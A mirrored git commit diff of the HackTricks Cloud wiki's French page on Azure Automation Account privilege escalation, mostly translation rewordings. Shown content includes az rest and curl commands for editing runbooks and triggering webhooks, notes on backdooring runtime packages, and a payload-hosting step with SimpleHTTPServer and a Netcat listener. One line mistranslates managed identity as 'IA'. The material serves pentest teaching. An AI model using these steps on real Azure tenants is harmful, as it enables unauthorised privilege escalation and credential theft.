mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -16,14 +16,14 @@ Pour plus d'informations, consultez :
|
||||
|
||||
Rappelez-vous que si, d'une manière ou d'une autre, un attaquant peut exécuter un runbook arbitraire (code arbitraire) dans un travailleur hybride, il **se déplacera vers l'emplacement de la VM**. Cela pourrait être une machine sur site, un VPC d'un autre cloud ou même une VM Azure.
|
||||
|
||||
De plus, si le travailleur hybride s'exécute dans Azure avec d'autres identités gérées attachées, le runbook pourra accéder à l'**identité gérée du runbook et à toutes les identités gérées de la VM depuis le service de métadonnées**.
|
||||
De plus, si le travailleur hybride fonctionne dans Azure avec d'autres identités gérées attachées, le runbook pourra accéder à l'**identité gérée du runbook et à toutes les identités gérées de la VM depuis le service de métadonnées**.
|
||||
|
||||
> [!TIP]
|
||||
> Rappelez-vous que le **service de métadonnées** a une URL différente (**`http://169.254.169.254`**) que le service à partir duquel obtenir le jeton d'identités gérées du compte d'automatisation (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
- **De la VM à l'Automation Account**
|
||||
|
||||
De plus, si quelqu'un compromet une VM où un script de compte d'automatisation s'exécute, il pourra localiser les métadonnées de l'**Automation Account** et y accéder depuis la VM pour obtenir des jetons pour les **Identités Gérées** attachées au compte d'automatisation.
|
||||
De plus, si quelqu'un compromet une VM où un script de compte d'automatisation est en cours d'exécution, il pourra localiser les métadonnées de l'**Automation Account** et y accéder depuis la VM pour obtenir des jetons pour les **Identités Gérées** attachées au compte d'automatisation.
|
||||
|
||||
Comme il est possible de le voir dans l'image suivante, avoir un accès Administrateur sur la VM permet de trouver dans les **variables d'environnement du processus** l'URL et le secret pour accéder au service de métadonnées du compte d'automatisation :
|
||||
|
||||
@@ -32,7 +32,7 @@ Comme il est possible de le voir dans l'image suivante, avoir un accès Administ
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
En résumé, ces autorisations permettent de **créer, modifier et exécuter des Runbooks** dans le compte d'automatisation que vous pourriez utiliser pour **exécuter du code** dans le contexte du compte d'automatisation et élever les privilèges aux **Identités Gérées** assignées et de divulguer des **identifiants** et des **variables chiffrées** stockées dans le compte d'automatisation.
|
||||
En résumé, ces autorisations permettent de **créer, modifier et exécuter des Runbooks** dans le compte d'automatisation que vous pourriez utiliser pour **exécuter du code** dans le contexte du compte d'automatisation et élever les privilèges aux **Identités Gérées** assignées et divulguer des **identifiants** et des **variables chiffrées** stockées dans le compte d'automatisation.
|
||||
|
||||
L'autorisation **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permet de modifier le code d'un Runbook dans le compte d'automatisation en utilisant :
|
||||
```bash
|
||||
@@ -134,31 +134,16 @@ az rest --method PUT \
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> Dans l'exemple précédent, l'identifiant du jobchedule était laissé comme **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` comme exemple** mais vous devrez utiliser une valeur arbitraire pour créer cette affectation.
|
||||
> Dans l'exemple précédent, l'identifiant du jobchedule a été laissé comme **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` comme exemple** mais vous devrez utiliser une valeur arbitraire pour créer cette affectation.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
Avec la permission **`Microsoft.Automation/automationAccounts/webhooks/write`**, il est possible de créer un nouveau Webhook pour un Runbook à l'intérieur d'un compte d'automatisation en utilisant la commande suivante.
|
||||
|
||||
Notez que vous devrez **indiquer l'URI du webhook** avec le token à utiliser.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
|
||||
--body '{
|
||||
"name": "<webhook-name>",
|
||||
"properties": {
|
||||
"isEnabled": true,
|
||||
"expiryTime": "2026-01-09T20:03:30.291Z",
|
||||
"parameters": {},
|
||||
"runOn": null,
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
},
|
||||
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
|
||||
}
|
||||
}'
|
||||
|
||||
# Then, to call the runbook using the webhook
|
||||
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
|
||||
```
|
||||
Cette commande devrait renvoyer un URI de webhook qui n'est affiché qu'à la création. Ensuite, pour appeler le runbook en utilisant l'URI de webhook
|
||||
```bash
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
@@ -207,7 +192,7 @@ az automation source-control create \
|
||||
```
|
||||
Cela importera automatiquement les runbooks du dépôt Github vers le compte d'automatisation et avec quelques autres autorisations pour commencer à les exécuter, il serait **possible d'escalader les privilèges**.
|
||||
|
||||
De plus, rappelez-vous que pour que le contrôle de version fonctionne dans les comptes d'automatisation, il doit avoir une identité gérée avec le rôle **`Contributor`** et si c'est une identité gérée par l'utilisateur, l'ID client de l'ID de MI doit être spécifié dans la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
De plus, rappelez-vous que pour que le contrôle de version fonctionne dans les comptes d'automatisation, il doit avoir une identité gérée avec le rôle **`Contributor`** et si c'est une identité gérée par l'utilisateur, l'ID client de l'ID de l'IA doit être spécifié dans la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
> [!TIP]
|
||||
> Notez qu'il n'est pas possible de changer l'URL du dépôt d'un contrôle de version une fois qu'il est créé.
|
||||
@@ -230,7 +215,7 @@ az rest --method PUT \
|
||||
```
|
||||
### Environnements d'exécution personnalisés
|
||||
|
||||
Si un compte d'automatisation utilise un environnement d'exécution personnalisé, il pourrait être possible de remplacer un package personnalisé de l'environnement d'exécution par du code malveillant (comme **une porte dérobée**). De cette façon, chaque fois qu'un runbook utilisant cet environnement d'exécution personnalisé est exécuté et charge le package personnalisé, le code malveillant sera exécuté.
|
||||
Si un compte d'automatisation utilise un environnement d'exécution personnalisé, il pourrait être possible de remplacer un package personnalisé de l'environnement par du code malveillant (comme **une porte dérobée**). De cette façon, chaque fois qu'un runbook utilisant cet environnement d'exécution personnalisé est exécuté et charge le package personnalisé, le code malveillant sera exécuté.
|
||||
|
||||
### Compromission de la configuration d'état
|
||||
|
||||
@@ -270,7 +255,7 @@ Le fichier de configuration est exécuté, ce qui entraîne le déploiement du s
|
||||
|
||||
- Étape 6 — Héberger le payload et configurer l'écouteur
|
||||
|
||||
Un Python SimpleHTTPServer est démarré pour héberger le payload, ainsi qu'un écouteur Netcat pour capturer les connexions entrantes.
|
||||
Un Python SimpleHTTPServer est démarré pour héberger le payload, avec un écouteur Netcat pour capturer les connexions entrantes.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
|
||||
Reference in New Issue
Block a user